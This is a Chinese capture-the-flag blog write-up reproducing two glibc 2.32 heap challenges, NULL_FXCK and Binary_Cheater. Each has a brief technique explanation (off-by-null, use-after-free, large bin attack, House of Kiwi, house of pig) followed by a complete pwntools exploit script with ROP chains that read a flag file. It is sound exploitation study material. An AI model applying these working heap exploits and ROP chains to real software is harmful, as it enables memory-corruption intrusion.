Fmyy_Challenge
复现了一下 fmyy 师傅出的题目,不得不感叹 fmyy 唯一真神
# NULL_FXCK
2.32 版本 libc 存在一个 off by null
# 地址泄露
首先是堆地址和 libc 地址的泄露,这里参考 wjh 师傅的不用爆破 off by null 利用方法:
glibc 2.29-2.32 off by null bypass - wjh’s blog (wjhwjhn.com)
# 漏洞利用
两种 Large bin attack 思路
- 通过 Large bin attack 攻击 TLS 结构体劫持 Tcache 管理块
- 通过 Large bin attack 攻击 mp_ 让 Tcache 管理块溢出到可控堆块
因为本题使用了 _exit 也无法从 main 函数返回,所以无法执行简单的 house of pig,需要使用 __malloc_assert 触发 FSOP,因此可以直接使用 House of Kiwi,在特定内存布置 entries ,之后就可以申请到任意位置,包括 House of Kiwi 的各种条件
其实本题是打算用 house of pig 来做的,但是思来想去好像确实是有些麻烦,既然能造成任意申请原语,就没必要再进行 house of pig 了,并且也只需要进行一次 Large Bin Attack
# Exp
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './NULL_FXCK'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def one_gadget(filename):
log.progress('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(
['one_gadget','--raw', '-f',filename]
)).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla('>>',num)
def add(size , Content = '\x00'):
cmd(1)
sla('Size: ' , size)
sa('Content:' , Content)
def edit(idx , Content):
cmd(2)
sla('Index: ' , idx)
sla('Content:' , Content)
def delete(idx ):
cmd(3)
sla('Index: ' , idx)
def show(idx ):
cmd(4)
sla('Index: ' , idx)
# one_gad = one_gadget(libc.path)
# 本质是通过 unsorted bin 或者 large bin 的指针残留构造 unlink 的指针指向
add(0x418)
add(0x108)
add(0x418) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x418) #6
delete(0)
delete(3)
delete(5)
delete(2)
# unsorted bin 合并 ,但合并不会清空数据,某处有残留的堆地址
add(0x438, 'a' * 0x418 + p64( 0x420 + 0x210 + 0x430 + 0x420 + 0x20 + 1)) #0
# 0xa91 写到了原来 chunk3 的 size 处,刚好这下面有残留的堆地址
# 切割已经合并的大块
# unsorted bin 从新到旧排序
add(0x418) #2
add(0x428) #3
add(0x418) #5
# 下面构造 fack fd
delete(5)
delete(2)
add(0x418 , 'a'*9) #2
add(0x418) #5
# 下面构造 fack bk
delete(5)
delete(3)
add(0x9f8) #3
add(0x428 , 'a') #5
add(0x418) #7
# 下面进行 unlink
add(0x408, p64(0) + p64(0x411)) #8
edit(6, 'a' * 0x410 + p64(0x210 +0x430 + 0x420 + 0x420 + 0x20 ))
delete(3)
add(0x438 , flat(0 , 0 ,0 , 0x421)) #3
add(0x1600) #9
show(4)
__malloc_hook = l64() - 1644 - 0x40 - 4
libc.address = __malloc_hook - libc.sym['__malloc_hook']
_environ = libc.sym['_environ']
mp_ = libc.address + 0x1e3280
_IO_list_all = libc.sym['_IO_list_all']
_IO_str_jumps = libc.address + 0x1e5580
_IO_file_jumps = libc.address + 0x1e54c0
_IO_helper_jumps = libc.address + 0x1e48c0
setcontext = libc.sym['setcontext'] + 61
show(5)
heap_base = u64(p.recv(6).ljust( 8 , '\x00')) - 0x2b0
ptr_list = 0x4160
lg('__malloc_hook' , __malloc_hook)
lg('heap_base',heap_base)
# ptr_list = $rebase(0x000000000004160)
add(0x1458 , flat('\x00'*0x208 , 0x431 , '\x00'*0x428 , 0x421 , '\x00'*0x418 , 0xa01) )
delete(4)
delete(5)
add(0x1458 )
add(0x448)
delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , _IO_list_all - 0x20 ) )
delete(2)
add(0x448)
add(0x418)
delete(0)
add(0x438 , '\x00'*0x2c0 + p64(_IO_file_jumps + 96) + '\x00'*0x98 + flat(_IO_helper_jumps + 0xa0 , heap_base + 0x4bb0 ) ) #设置 entry
delete(4)
add(0x1458 , flat('\x00'*0x208 , 0x431 , __malloc_hook + 0x460,__malloc_hook + 0x460 , 0 , mp_ + 80 - 0x20 ) )
delete(11)
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
leave_ret = libc.search(asm('leave;ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
ret = pop_rdi_ret + 1
flag_addr = heap_base + 0x4770 + 0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
# len chain 0x80
# dbg()
add(0x448 , chain) # copy
add(0x418)
# House of kiwi 三大条件
add(0x1450 , p64(setcontext)[:-1])
add(0x1590 , flat( heap_base + 0x4770 , ret ))
add(0x15a0 , flat( 0 , 0x3e0))
# 0x1450 0x1590 0x15a0
# dbg()
# dbg()
cmd(1)
sla('Size' , 0x1000)
p.interactive()
'''
@File : NULL_FXCK.py
@Time : 2021/09/26 13:47:40
@Author : Niyah
'''
# Binary_Cheater
libc-2.32 下的题目,漏洞是个 Uaf , 但是堆块只能申请 Large Chunk 范围内的堆块
注意本题使用的是 calloc 来申请内存,不会从 tcache 里取,所以 NULL_FXCK 中的利用方法失效
这题做得特累,前前后后参照了 wjh 师傅好几篇博客才完成,特别感谢 wjh 师傅,其中 exp 跟 wjh 师傅的大同小异,其实也就一个 gadget 和 wjh 师傅的不一样
# 地址泄露
首先是泄露问题,本题增删改查都有,uaf 的泄露有手就行,直接可以得到 libc 地址和 堆基址
# 漏洞利用
- 本题不能直接 getshell ,需要使用 open read write 读出 flag,如果没有 对 free_hook 和 malloc_hooc 的检查,我们是可以先用 large bin attack 攻击 mp_.tcache_bins ,之后直接 tcache attack 攻击__free_hook 的,但是本题难在有检测,那么如何利用呢?
- 这就要开始介绍一下 house of pig 了,在执行 io_str_overflow 函数时会连续调用 malloc memcpy free 操作,而关于这个函数的参数控制,我们可以通过 large bin attack 攻击向一个 io file 指针写入一个我们可控的堆地址,之后再将这个堆块伪造成 io file 结构体。
- 关于调用流程的 malloc 函数,该参数可以通过 io file 结构体的_IO_buf_end 和 _IO_buf_base 得到,这个参数我们还是可以在伪造 io file 的时候控制
- 关于调用流程的 memcpy 函数,该函数会把 原来_IO_buf_base 和 _IO_buf_end 之间的数据拷贝到之前 malloc 的内存中
- 关于调用流程的 free 函数,由于本函数不是在程序中显式调用的,那么关于程序中对于 free_hook 的检查也不用管了,这样我们可以延续之前 攻击 free_hook 的思路,把 free_hook 指向一个 gadget 执行栈迁移到我们的 orw 链上
- 说了这么多,那么怎么调用 io_str_overflow 函数呢,我们可以使用 assert 判断失败来调用,将 top chunk 改得比将要申请的 chunk 小即可
- 如何让 free_hook 在之后的 malloc 中被申请呢?我们可以通过修改 mp_.tcache_bins 让 tcache 堆管理块让我们看起来增大,之后在对应位置布置对应大小的 entry 即可
综上所述
- 泄露地址
- large bin attack 攻击 stderr ,在对应堆块伪造 io file
- large bin attack 攻击 mp_.tcache_bins,在 tcache 管理块对应大小位置布置 __free_hook 的 entry
- 在需要 被复制的堆块写入 gadget
- 修改 top chunk
- 申请堆块 触发 assert
# Exp
# -*- encoding: utf-8 -*-
import sys
import os
from pwn import *
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './Binary_Cheater'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
libc = elf.libc
# context.log_level = 'debug'
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm', binary,'-g','1234'])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': 0x%x' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
rint= lambda x = 12 : int( p.recv(x) , 16)
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla('>',num)
def add(size , content = 'a\n'):
cmd(1)
sla('Size' , size)
sa('Content' , content)
def edit(idx , content = 'a'):
cmd(2)
sla('Index' , idx)
sa('Content' , content)
def delete(idx):
cmd(3)
sla('Index' , idx)
def show(idx):
cmd(4)
sla('Index' , idx)
# one_gad = one_gadget(libc.path)
def attack():
add(0x418) # 0 large bin 辅助快
add(0x418) # 1 防止合并
add(0x428) # 2 large bin 攻击块,地址泄露块
add(0x428) # 3
delete(2)
add(0x450) # 4 把 unsorted bin 块挤进 large
show(2)
main_arena_addr = l64()
__malloc_hook = main_arena_addr - 0x450 - 0x10
libc.address = __malloc_hook - libc.sym['__malloc_hook']
__free_hook = libc.sym['__free_hook']
stderr = libc.sym['stderr']
IO_str_jumps = libc.address + 0x1e5580
setcontext = libc.sym['setcontext']
mp_ = libc.address + 0x1e32d0
delete(0)
fake_chunk_large = flat(
main_arena_addr , main_arena_addr,
0 , stderr - 0x20
)
# 此时 2在 large bin 中,0在 unsorted bin 中
edit(2 , fake_chunk_large )
add( 0x450 ) # 5 把 0 块挤进 large
# dbg()
# 触发 large bin attack 此时堆地址被写入 stderr 中
show(2)
heap_base = u64(p.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x2b0
lg('heap_base',heap_base)
# --- 修复因为攻击而被破坏的 large bin ---
edit(2 , flat( heap_base + 0x2b0 , main_arena_addr , heap_base + 0x2b0 , heap_base + 0x2b0 ) )
edit(0 , flat( main_arena_addr , heap_base + 0xaf0 , heap_base + 0xaf0 , heap_base + 0xaf0 ) )
# --- 修复因为攻击而被破坏的 large bin ---
# 其实修复也很简单,我们只要还原到没有攻击的状态即可
add( 0x418 ) # 6 0
add( 0x428 ) # 7 2
# bin 至此全部清空
add(0x450)
add(0x450)
add(0x450)
delete(8)
delete(9)
delete(10)
delete(7)
add(0x450) # 11
fake_chunk_large = flat(
main_arena_addr , main_arena_addr,
0 , mp_ - 0x20,
) + p64(__free_hook)*0x50
# 这里指向 free_hook 的指针会被识别成对应大小 tcache 块的指针
# 除此之外,前面还有个地方需要为 1
# 分别对应 entry 和 counts
edit(7 , fake_chunk_large)
delete(6)
add(0x450) #12
# 第二次 large bin 攻击 mp_.tcache_bins
new_size = 0x1592 - 0x40
old_blen = (new_size - 100) // 2
fake_IO_FILE = flat(
0,0,
1,0xffffffffffff,0,
heap_base + 0x2080 , heap_base + 0x2080 + old_blen,
'\x00'*0x40 , heap_base,
'\x00'*0x30 , 0,
0,0,
IO_str_jumps + 0x18 - 0x38
)
edit(6 , fake_IO_FILE)
__free_hook = libc.sym['__free_hook']
magic = 0x14e72a + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
ret = libc.search(asm('ret')).next()
leave_ret = libc.search(asm('leave;ret')).next()
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_r13_pop_r15_ret = libc.search(asm('pop r12 ; pop r13 ; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
magic_chain = flat(
__free_hook + 0x8, pop_r13_pop_r15_ret ,
__free_hook + 0x8, __free_hook + 0x10 ,
pop_rdx_pop_rbx_ret, 0x300 ,
leave_ret, pop_rsi_ret,
__free_hook + 0x8 , pop_rdi_ret ,
0 , read_addr
)
# len magic_chain 0x60
flag_addr = __free_hook + 0x100 + len(magic_chain) + 8
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
# len chain 0x80
payload = flat( magic ) + magic_chain
# dbg('free')
edit(9 , payload)
add(0x430) #13
edit(10, 'a' * 0x438 + p64(0x200))
# dbg('*__vfprintf_internal+273')
cmd(1)
sla("ize:" , 0x440)
payload =p64(ret)*0xc + chain
se(payload)
''
attack()
# p.success(getShell())
p.interactive()
'''
@File : Binary_Cheater.py
@Time : 2021/10/25 17:05:27
@Author : Niyah
'''
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。